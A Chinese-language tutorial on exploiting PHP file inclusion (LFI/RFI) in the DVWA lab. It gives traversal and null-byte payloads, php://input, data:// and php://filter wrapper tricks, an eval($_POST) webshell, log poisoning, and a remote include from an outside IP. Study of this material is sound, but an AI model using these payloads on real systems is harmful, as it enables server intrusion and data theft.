原理
在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预料之外的文件,就可能导致以外的文件泄露甚至恶意代码注入
本地文件包含(LFI)
Local File Inclusion
能够读取或执行包含本地文件的漏洞
eg:1
2
3
4
5
6<?php
$file = $_GET['file'];
if(file_exists('/home/wwwrun/'.$file.'.php')) {
include '/home/wwwrun/'.$file.'.php';
}
?>
linux系统越权读取(需要读权限)1
include '/home/wwwrun/../../../../../../etc/passwd\0.php
远程文件包含(RFI)
Remote File Inclusion
例如若php.ini
的配置选项allow_url_include
为ON
的话,文件包含函数是可以加载远程文件的。利用远程文件包含漏洞,可以直接执行任意命令
漏洞形成条件
include()
等函数通过动态变量的方式引入需要包含的文件- 用户能够控制这个动态变量
高危触发点
常见
include()
require()
include_once()
require_once()
- 对文件进行操作的其它函数,如
f_open()
,f_read()
等
危害
- 敏感信息泄露
- 获取Webshell
- 任意命令执行
文件包含进阶
一般截断包含
1 |
|
此方法只适用于magic_quotes_gpc=off
时,在PHP的老版本中也时存在着一些其它的截断问题,如今已极少见
eg:1
index.php?file=info.txt///////////..(超过一定数据的/)..//
00截断包含
php < 5.3.4时,可以使用
%00
,.
截断- Windows文件长度 <= 255 截断
- Linux下文件名长度 <= 1024Bytes 截断
- 远程文件包含时,使用
?
截断,全版本通杀
伪协议
POST型
构造一个输入值为如下的漏洞验证语句并POST,并用php://
协议去解释它1
2php://input
POST: <?php phpinfo();?>
菜刀连接:
http://127.0.0.1/dvwa-master/vulnerabilities/fi/?page=//input
菜刀配置:1
<O><?php @eval($_POST['a']);?></O>
GET型
构造一个内容为:<?php%20phpinfo();?>
类型为:data:text/plain
的数据,并包含它1
2data:text/plain,<?php%20phpinfo();?>
data:text/html,<?php%20phpinfo();?>
封装协议摘要
这里主要针对php://filter
,参考被筛选的封装器
参考链接
常用:
使用
rot13
编码读取文件内容(回转13位,rotate by 13 places,替换为原字符的后13位所表示的字符)1
php://filter/read=string.rot13/resource=文件名
使用
base64
编码读取文件内容1
php://filter/read=convert.base64-encode/resource=文件名
使用
toupper
、tolower
编码读取文件
php://filter/read=string.toupper/resource=
php://filter/read=string.tolower/resource=
这里编码的意义是进行绕过,绕过<?php
结构等,例如php5.x会针对<?php
进行过滤,因此又有如下绕过方法:1
2GIF89a
<script language="php">eval($_POST['a']);</script>
直接指定路径
1 |
|
压缩包,用如下方法:1
2
3
4
5zip://绝对路径%23文件名
zip://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip%23phpinfo.txt
phar://相对路径(或绝对路径)%23文件名
phar://phpinfo.zip/phpinfo.txt
其它情形
情形:
- 存在文件包含漏洞
- Apache是默认配置
- 只允许包含本地文件
- 没有上传接口
- 本地自身没有木马
提问:
怎么构造文件包木马
方案之一:
修改referrer中的日志,即进行访问,后台自动记录(只要能写入日志并访问即可)
注意日志打包时间(通常在凌晨),日志中若存在尖括号则会报语法错误,最好在打完包的新日志中进行操作
##补充
菜刀远程包含应用
实例:
远程木马包含
http://127.0.0.1/dvwa-master/vulnerabilities/fi/?page=http://144.172.116.200/test.jpg
使用一句话木马连菜刀
需加cookie:
浏览器控制台获取coockie
console.log(document.cookie)
security=low; hd_auth=9e89J6bNsPGJSDjq9t7IcVyR5d5gs3TBAHAx1mka%2BYX3vezWSFyMKG1izkauDUNgZiss3LfAUyGSw2ZS9jhY; PHPSESSID=416e68aaff8e7a3d55d04b745ac6785c
c刀设置中添加cookie
DVWA文件包含
中级
双写绕过
高级
1 |
|
注:file不存在亦可